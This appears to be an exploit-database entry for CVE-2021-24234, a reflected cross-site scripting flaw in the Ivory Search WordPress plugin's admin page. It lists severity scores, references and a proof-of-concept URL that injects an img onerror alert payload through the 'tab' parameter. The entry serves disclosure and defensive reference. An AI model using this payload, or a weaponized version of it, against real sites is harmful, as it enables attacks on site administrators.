Exploit for Ivory Search < 4.6.1 - Reflected Cross Site Scripting (XSS)

CVE-2021-24234

wpexploit · 2021-03-30

Description

Ivory Search 4.6.1 - Reflected Cross Site Scripting (XSS) in admin pag

Entry point

Parametertab · query param

Pathwp-admin/admin.php?page=ivory-search&post=<form-id>&action=edit&tab=excludes%22%3E%3Cimg+src+onerror%3Dalert%28%2FXSS%2F%29%3E

Reflected XSS via unsanitized tab parameter on Ivory Search WordPress plugin admin page; requires knowledge of a form id.

Affected Ivorysearch Ivory Search versions

Ivorysearch Ivory Search< 4.6.1

All known vulnerabilities by product

Ivory Search

CVSS 4.3 for CVE-2021-24234

4.3

MEDIUM SEVERITY

VectorAV:N/AC:M/Au:N/C:N/I:P/A:N

EPSS Score

1.2%higher than 63.3% of all CVEs

Updated 2026-06-16

References

https://www.getastra.com/blog/911/plugin-exploit/reflected-xss-vulnerability-in-ivory-search-wp-plugin/

https://www.jinsonvarghese.com/reflected-xss-vulnerability-found-in-ivory-search-plugin/

Exploit Details

Modified:2021-03-31 05:01

Last Seen:2021-04-30 11:32

Reporter:Jinson Varghese Behanan

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:ECC620BE-8E29-4860-9D32-86B5814A3835
https://example.com/wp-admin/admin.php?page=ivory-search&post=<form-id>&action=edit&tab=excludes%22%3E%3Cimg+src+onerror%3Dalert%28%2FXSS%2F%29%3E

Exploit Code

Share

Share on social media: